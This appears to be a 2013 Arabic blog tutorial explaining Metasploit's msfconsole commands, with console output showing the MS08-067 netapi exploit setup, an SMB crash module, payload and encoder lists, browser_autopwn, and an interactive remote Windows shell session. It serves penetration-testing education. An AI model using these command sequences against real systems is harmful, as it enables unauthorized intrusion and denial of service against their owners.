الاثنين، 19 أغسطس، 2013

msf




يتعبر Msfconsole هو الاشهر والاكثر استخدام في MSF. وهو يسمح با الوصل الوهمي الى كافة الخيارات المتوفرة في MSF. وعند استخدامك Msfconsole في البداية سوف تجد صعبوه في التعامل، لكن مع تعلم (syntax)تنفيذ الاومر سوف تقدر قوة هذة الواجهه.

فوائد msfconsole :

يدعم طريق الوصول الى معظم الخصائص المتوفرة في MSF.
يعتبر اكثر والواجهات استقراراً في الاستخدام.
يدعم التكملة التلقائية لتنفيذ الاوامر.
أمكانية تنفيذ يعض الاوامر الاضافية مثل (ping… وغيرها).
تشغيل (msfconsole):
بمكانك تشغيل msfconsole بكل سهوله بختيارة من القائمه في الباك تراك او بتنفيذ الامر في shell “./msfconsole” وبامكانك تمرير متغير “-h” لمشاهدة متغيرات خيارات الاستخدام.

المساعدة help:

قم بادخال الامر “help ” او “؟” وسوف تقوم بعرض العديد من الاوامر با الاضافة الى وصف لما تستخدم هذه الاوامر.
التكملة التلقائية :
صمم msfconsole ليكون سريع في الاستخدام واحد الخصائص التي تساعد في هذا الغرض هي التكلمة التلقائية(tab completion). مع وجود العديد من موديلز(modules)، يصعب عليك تذكراسم او مسار المديول(module) الذي تريد استخدامه.
وكما هو العادة في العديد من shells تقوم با الضغط على “tab” والذي سوف يقوم بعرض العديد من الخيارات او سوف يكمل تلقائياً اذا كان خيار واحد فقط .
use exploit/windows/dce<br />
use .*netapi.*<br />
set LHOST<br />
set TARGET<br />
set PAYLOAD windows/shell/<br />
exp<br />
show

أمر العودة الى الخلف (back):

عندما تنتهي من العمل مع موديل (module) معين او انك قد اخترت موديل(module) بالخطاء، في هذه الحالة تريد العودية الى الحالة السابقة لك، قم بادخال الامر “back” لكي تعودي الى ماقبل اختيارك.
msf auxiliary(ms09_001_write) &gt; back<br />
msf &gt;

أمر الفحص (check) :

يقوم بفحص نظام الهدف هل هو مصاب با الاستغلال ام لا، قبل تنفيذ الاستغلال. وهذا الامر لايدعم العديد من الاستغلالات.
msf exploit(ms04_045_wins) &gt; show options<br />
Module options:<br />
Name Current Setting Required Description<br />
---- --------------- -------- -----------<br />
RHOST 192.168.1.114 yes The target address<br />
RPORT 42 yes The target port<br />
Exploit target:<br />
Id Name<br />
-- ----<br />
0 Windows 2000 English<br />
msf exploit(ms04_045_wins) &gt; check<br />
[-] Check failed: The connection was refused by the remote host<br />
(192.168.1.114:42)

أمر الاتصال (connect):

هذا الامر يقوم بعمل شبية بعمل netcat وهو مبني ضمن msfconsole ويدعم SSL، proxies ،pivoting و ارسال الملفات. بتنفيذ الامر “connect” مع ايبي ادرس (IP Address ) و منفذ(Port)، وبمكانك الاتصال با الجهاز البعيد من خلال msfconsole مثل ماهو netcat او telnet.
msf &gt; connect 192.168.1.1 23<br />
[*] Connected to 192.168.1.1:23<br />
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH<br />
Release: 07/27/08 (SVN revision: 10011)</p>
<p>DD-WRT login:
وبتمرير المتغير “-s” في الاتصال سوف يكون الاتصال عبر SSL.
msf &gt; connect -s www.metasploit.com 443<br />
[*] Connected to www.metasploit.com:443<br />
GET / HTTP/1.0<br />
HTTP/1.1 302 Found<br />
Date: Sat, 25 Jul 2009 05:03:42 GMT<br />
Server: Apache/2.2.11<br />
Location: http://www.metasploit.org/

أمر ((exploit مقابل (run) :

عندما يتم تنفيذ اي إستغلال يكون بتنفيذ امر “exploit”، بينما عندما تستخدم auxiliary module يكون الانسب بتنفيذها من خلال الامر “run”. وايضا يمكنك استخدام امر “exploit”.
msf auxiliary(ms09_001_write) &gt; run<br />
Attempting to crash the remote host...<br />
datalenlow=65535 dataoffset=65535 fillersize=72<br />
rescue<br />
datalenlow=55535 dataoffset=65535 fillersize=72<br />
rescue<br />
datalenlow=45535 dataoffset=65535 fillersize=72<br />
rescue<br />
datalenlow=35535 dataoffset=65535 fillersize=72<br />
rescue<br />
...بقية النتائج...

أمر (irb) :

بتنفيذ هذا الامر تقوم با الدخول على سكربت لغة الروبي وتستطيع تنفيذ اوامر الروبي مباشرة من msfconsole، وهذه الميزة مفيدة جداً حيث تساعدك على فهم Framework.
msf > irb<br />
[*] Starting IRB shell...<br />
&gt;&gt; puts "Hello, Fayez!"<br />
Hello, Fayez!<br />
&gt;&gt; Framework::Version<br />
=&gt; "3.7.0-release"

أمر (jobs) :

يقوم بعرض وإدارة المديول(modules) التي تشتغل في الخلفية(Background). وبتنفيذ امر “jobs” يكون بمكانك عرض وإنها
هذه الاعمل(jobs).
msf exploit(ms08_067_netapi) > jobs -h<br />
Usage: jobs [options]</p>
<p>Active job manipulation and interaction.</p>
<p>OPTIONS:</p>
<p>.-K Terminate all running jobs<br />
. -h Help banner<br />
-i Lists detailed information about a running job.<br />
-k Terminate the specified job name.<br />
-l List all running jobs.<br />
-v Print more detailed info. Use with -i and –l.

أمر (load/unload):

بتنفيذ أمر لود “load” متبوع بـاسم إضافة(plugin) من الاضافات التي تكون متواجدة ضمن مجلد (plugin) في metasploit. وتمرر المتغيرات با الشكل التالي ” key=val” داخل وامر الشل.
msf &gt; load<br />
Usage: load [var=val var=val ...]<br />
Load a plugin from the supplied path. The optional<br />
var=val options are custom parameters that can be<br />
passed to plugins.<br />
msf >; load pcap_log<br />
[*] Successfully loaded plugin: pcap_log
بلمقابل، امر “unload” يقوم بازالة ماتم تحميلة في الامر السابق.
msf >; unload pcap_log<br />
Unloading plugin pcap_log...unloaded.

أمر (loadpath) :

أذا كان لديك بعض payloads، encoders او استغلال لثغرة يوم الصفر بمكانك تحديد المسار للمديول(module) الخاص بك. حيث ان هذا الامر يستخدم لإضافة مسار لموديلز(modules) طرف ثالث.
msf >; loadpath /home/secret/modules<br />
Loaded 0 modules.

أمر (resource) :

بعض انواع الهجوم مثل Karmetasploit تستخدم لتنفيذ عدد من الاوامر المرتبة بشكل متسلسل داخل ملف دفعي(batch file) يتم تنفيذه من خلال msfconsole بتنفيذ امر “resource” متبوع باسم الملف.
msf &gt; resource karma.rc<br />
resource&gt; load db_sqlite3<br />
[-]<br />
[-] The functionality previously provided by this plugin has been<br />
[-] integrated into the core command set. Use the new 'db_driver'<br />
[-] command to use a database driver other than sqlite3 (which<br />
[-] is now the default). All of the old commands are the same.<br />
[-]<br />
[-] Failed to load plugin from<br />
/pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin<br />
resource&gt; db_create /root/karma.db<br />
[*] The specified database already exists, connecting<br />
[*] Successfully connected to the database<br />
[*] File: /root/karma.db<br />
resource&gt; use auxiliary/server/browser_autopwn<br />
resource&gt; setg AUTOPWN_HOST 10.0.0.1<br />
AUTOPWN_HOST =&gt; 10.0.0.1<br />
…باقي النتائج…
وهذه الملفات الدفعية(batch files) تساعد في تسريع الاختبار(testing) والتطوير(development) ، با الاضافة الى انه يسمح للمستخدم بتنفيذ العديد من المهام بشكل اتوماتيكي او اّلي، وباستطاعتك تنفيذ الملف في عملية بداء التشغيل msfconsole بتمرير متغير ‘-r’. وفي المثالي التالي سوف نقوم بنشاء ملف يظهر اصدار metasploit في بداء التشغيل

أمر (route) :

يسمح هذا الامر بإعادة توجية السوكيت(sockets) من خلال session او comm. ولكي يضيف امر إعادة التوجية تقوم بتمرير السب نت (subnet) وقناع الشبكة (network mask) متبوع برقم session او comm. لاحظ المثال التالي.
msf exploit(ms08_067_netapi) > route<br />
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]<br />
Route traffic destined to a given subnet through a supplied session.<br />
The default comm is Local.<br />
msf exploit(ms08_067_netapi) &gt; route add 192.168.1.0 255.255.255.0 3<br />
msf exploit(ms08_067_netapi) &gt; route print<br />
Active Routing Table<br />
====================<br />
Subnet Netmask Gateway<br />
------ ------- -------<br />
192.168.1.0 255.255.255.0 Session 3

أمر (info) :

سوف يقوم بتزويدك بمعلومات تفصيلية عن موديل(module) معين ويقوم بعرض كافة الخيارات و الاهداف المصابة ومعلومات اخرئ.
و امر ‘info’ سوف يقوم بتزويدك با المعلومات التالية :
معلومات عن الكاتب و الرخصة.
مراجع الثغرة مثل (CVE,BID.. الخ).
اي من payload التي تشتغل فقط مع هذا Module.
msf > info dos/windows/smb/ms09_001_write<br />
Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset<br />
Version: 6890<br />
License: Metasploit Framework License (BSD)<br />
Provided by:<br />
j.v.vallejo

أمر (set/unset) :

يسمح للمستخدم بضبط إعدادات وخيارات بيئة العمل و المتغيرات للمويل(module) الذي تعمل علية.
msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1<br />
RHOST =&gt; 192.168.1.1<br />
msf auxiliary(ms09_001_write) &gt; show options<br />
Module options:<br />
Name Current Setting Required Description<br />
---- --------------- -------- -----------<br />
RHOST 192.168.1.1 yes The target address<br />
RPORT 445 yes Set the SMB service port<br />
في الايام الاخير تم اضافة ميزة جديدة في بيئة عمل metasploit و هي أستخدام مشفرات(encoders) وقت التشغيل (run time) وهذه تكون مفيدة في تطوير الاستغلال عندما لا تكون متاكد اي نوع من الباي لود(payloads) سوف يشتغل مع الاستغلال.<br />
msf exploit(ms08_067_netapi) &gt; show encoders<br />
Compatible encoders<br />
===================<br />
Name Disclosure Date Rank Description<br />
---- --------------- ---- -----------<br />
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder<br />
cmd/ifs low Generic ${IFS} Substitution Command Encoder<br />
cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder<br />
generic/none normal The "none" Encoder<br />
mipsbe/longxor normal XOR Encoder<br />
mipsle/longxor normal XOR Encoder<br />
php/base64 great PHP Base64 encoder<br />
ppc/longxor normal PPC LongXOR Encoder<br />
ppc/longxor_tag normal PPC LongXOR Encoder<br />
sparc/longxor_tag normal SPARC DWORD XOR Encoder<br />
x64/xor normal XOR Encoder<br />
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder<br />
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder<br />
x86/avoid_utf8_tolower manual Avoid UTF8/tolower<br />
x86/call4_dword_xor normal Call+4 Dword XOR Encoder<br />
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder<br />
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder<br />
x86/context_time manual time(2)-based Context Keyed Payload Encoder<br />
x86/countdown normal Single-byte XOR Countdown Encoder<br />
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder<br />
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder<br />
x86/nonalpha low Non-Alpha Encoder<br />
x86/nonupper low Non-Upper Encoder<br />
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder<br />
x86/single_static_bit manual Single Static Bit<br />
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder<br />
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder<br />
msf exploit(ms08_067_netapi) &gt; set encoder x86/shikata_ga_nai<br />
encoder =&gt; x86/shikata_ga_nai

أمر (unset) :

وهذا الامر هو عكس امر ‘set’.ويقوم بأزإلة المتغيرات التي قادم بضبطها وإضافتها أمر ‘set’، ويمكنك إزالة جميع المتغيرات مره واحده بأمر ‘unset all’.
msf > set RHOSTS 192.168.1.0/24<br />
RHOSTS =&gt; 192.168.1.0/24<br />
msf > set THREADS 50<br />
THREADS => 50<br />
msf > set<br />
Global<br />
======<br />
Name Value<br />
---- -----<br />
RHOSTS 192.168.1.0/24<br />
THREADS 50<br />
msf &gt; unset THREADS<br />
Unsetting THREADS...<br />
msf > unset all<br />
Flushing datastore...<br />
msf > set Global<br />
======<br />
No entries in data store.

أمر (sessions) :

هذا الامر يقوم بعرض و التفاعل او انهئ او تنقل بين الجلسات التي تكون فعالة وهذه الجلسات تكون عبارة عن شل(shell)، ميتربريتر(Meterpreter sessions) او VNC … الخ.
msf > sessions -h<br />
Usage: sessions [options]<br />
Active session manipulation and interaction.</p>
<p>OPTIONS:</p>
<p>-K Terminate all sessions<br />
-c Run a command on the session given with -i, or all<br />
--d Detach an interactive session<br />
-h Help banner<br />
-i Interact with the supplied session ID<br />
--k Terminate session<br />
--l List all active sessions<br />
-q Quiet mode<br />
-r Reset the ring buffer for the session given with -i, or all<br />
-s Run a script on the session given with -i, or all<br />
-u Upgrade a win32 shell to a meterpreter session<br />
-v List verbose fields
ولكي تقوم بعرض الجلسات(sessions) النشطة، مرر حرف ‘-l’ الى امر ‘sessions’.
msf exploit(ms08_067_netapi) > sessions -l<br />
Active sessions<br />
===============<br />
Id Description Tunnel<br />
-- ----------- ------<br />
1 Command shell 192.168.1.20:33191 ->; 192.168.1.22:4444
عندما تريد التعامل مع أحد الجلسات النشطة، فعليك تمرير المتغير ‘-i’ متبوع برقم الجلسة ‘session id’ لاحظ المثال التالي:
msf exploit(ms08_067_netapi) > sessions -i 1<br />
[*] Starting interaction with 1...</p>
<p>Microsoft Windows XP [Version 5.1.2600]<br />
(C) Copyright 1985-2001 Microsoft Corp.</p>
<p>C:\WINDOWS\system32

أمر (search) :

يقوم هذا الامر ببحث شامل داخل الموديلز(modules) وبادخال جز من اسم الموديل او الاسم كامل فيقوم بعرض بيانات الموديل من الاسم، وصف عن الموديل … الخ.
msf > search ms08_067_netapi<br />
[*] Searching loaded modules for pattern 'ms08_067_netapi'...</p>
<p>Exploits<br />
========</p>
<p>Name Disclosure Date Rank Description<br />
---- --------------- ---- -----------<br />
windows/smb/ms08_067_netapi 2008-10-28 great Microsoft Server Service Relative Path Stack Corruption

أمر (show) :


بأدخال أمر ‘show’ في ‘msfconsole’ سوف يعرض لك كافة الموديلز ‘modules’ داخل MSF .
msf > show</p>
<p>encoders<br />
========<br />
Name Disclosure Date Rank Description<br />
---- --------------- ---- -----------<br />
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder<br />
cmd/ifs low Generic ${IFS} Substitution Command Encoder<br />
cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder<br />
generic/none normal The "none" Encoder<br />
mipsbe/longxor normal XOR Encoder<br />
mipsle/longxor normal XOR Encoder</p>
<p>...ألخ..
وأيضاً بمكانك عرض كل موديلز على حدة مثل ‘show auxiliary’، ‘show exploits’، ‘show payloads’،
‘show encoders’ او ‘show nops’. سوف اتركك عزيزي القراء لكي تقوم بتجربة هذه الاوامر.
سوف نقوم بستخدام معين لامر ‘show’ عندما تقوم باختيار ثغرة معينة ولناخذ على سبيل المثال ‘ms08_067_netapi’
msf > use exploit/windows/smb/ms08_067_netapi<br />
msf exploit(ms08_067_netapi) >
في الامر السابق لقد قمنا باختيار ثغرة ‘ms08_067_netapi’. وفي الامر التالي سوف نقوم بعرض فقط الباي لودز ‘payloads’ التي تتوافق فقط مع الثغرة، ولنفرض ان الثغرة تستهدف فقط انظمة ويندوز، سوف يعرض فقط الباي لودز المتعلقة با الوندوز ولن يعرض الباي لودز الخاصه بنظام لنيكس.
msf exploit(ms08_067_netapi) > show payloads</p>
<p>Compatible Payloads<br />
===================</p>
<p>Name Disclosure Date Rank Description<br />
----------- ---- --------------- -----------<br />
generic/debug_trap normal Generic x86 Debug Trap<br />
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline<br />
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline<br />
generic/tight_loop normal Generic x86 Tight Loop<br />
windows/adduser<br />
…الخ…
والان نريد ان نعرض الخيارات المتطلبة لتنفيذ هذه الثغرة مثل ايبي الهدف و البورت وغيرها لاحظ المثال التالي :
msf exploit(ms08_067_netapi)> show options<br />
Module options:<br />
Name Current Setting Required Description<br />
---- --------------- -------- -----------<br />
RHOST yes The target address<br />
RPORT 445 yes Set the SMB service port<br />
SMBPIPE BROWSER yes The pipe name to use (BROWSER,SRVSVC)</p>
<p>Exploit target:<br />
Id Name<br />
-- ----<br />
0 Automatic Targeting
وإذا لم تكن متاكد اي إصدار من نظام التشغيل مصاب بهذه الثغرة قم بتنفيذ الامر التالي :
msf exploit(ms08_067_netapi)> show targets<br />
Exploit targets:<br />
Id Name<br />
-- ----<br />
0 Automatic Targeting<br />
1 Windows 2000 Universal<br />
2 Windows XP SP0/SP1 Universal<br />
3 Windows XP SP2 English (NX)<br />
4 Windows XP SP3 English (NX)<br />
5 Windows 2003 SP0 Universal<br />
…الخ…
وإذا كنت تريد مشاهدة خيارات متقدمة فماعليك الا تنفيذ الامر التالي :
msf exploit(ms08_067_netapi)> show advanced<br />
Module advanced options:<br />
Name : CHOST<br />
Current Setting:<br />
Description : The local client address<br />
Name : CPORT<br />
Current Setting:<br />
Description : The local client port

أمر (setg) :

إذا كنت تريد ان تحفظ الكثير من الوقت عند عملك اختبار اختراق لنظام معين با إستطاعتك تحديد بعض
‘global variables’ في ‘msfconsole’. وذلك بأستخدام أمر ‘setg’ وعندما يتم تحديد المتغير بستطاعتك
إستخدامة في العديد من (exploits and auxiliary modules) وأيضا تستطع حفظهم لكي تقوم باستخدامهم في المره القادمة، ويجب عليك التاكد دئماً من جميع الخيارات قبل تفيذك أمر ‘run’ او ‘exploit’. وبالمقابل يمكنك إزلة هذه المتغيرات بستخدامك أمر ‘unsetg’ لاحظ المثالي التالي:
msf > setg LHOST 192.168.1.20<br />
LHOST =&gt; 192.168.1.20<br />
msf &gt; setg RHOST 192.168.1.22<br />
RHOST =&gt; 192.168.1.22
وبعد تحديد بعض المتغيرات مثل عنوان الايبي المحلي و عنوان الايبي البعيد او الهدف يمكننا حفظ هذه التغيرات بامر ‘save’. وفي المره القادمة عند تشغيل ‘msfconsole’ سوف تكون هذه المتغيرات مضبوطه مثلما حددناها.
msf > save<br />
Saved configuration to: /root/.msf3/config<br />
msf >

أمر (use) :

عندما تريد استخدام موديل ‘module’ لثغرة معينة إستخدم أمر ‘use’ ومن ثم اختر اسم الموديل. ولاحظ ان ‘global variables’ قمنا بضبطها في الامر السابق لكي تشير الى عنوان ايبي الهدف وعنوان الوكال الايبي .
msf > use exploit/windows/smb/ms08_067_netapi<br />
msf exploit(ms08_067_netapi) > show options</p>
<p>Module options (exploit/windows/smb/ms08_067_netapi):<br />
Name Current Setting Required Description</p>
<p>RHOST 192.168.1.22 yes The target address<br />
RPORT 445 yes Set the SMB service port<br />
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)<br />
Exploit target:<br />
Id Name<br />
0 Automatic Targeting

0 التعليقات:

إرسال تعليق

لا تنسى ان تشارك samir soltani بتعليقك
او نشر الموظوع جزاك الله خيرا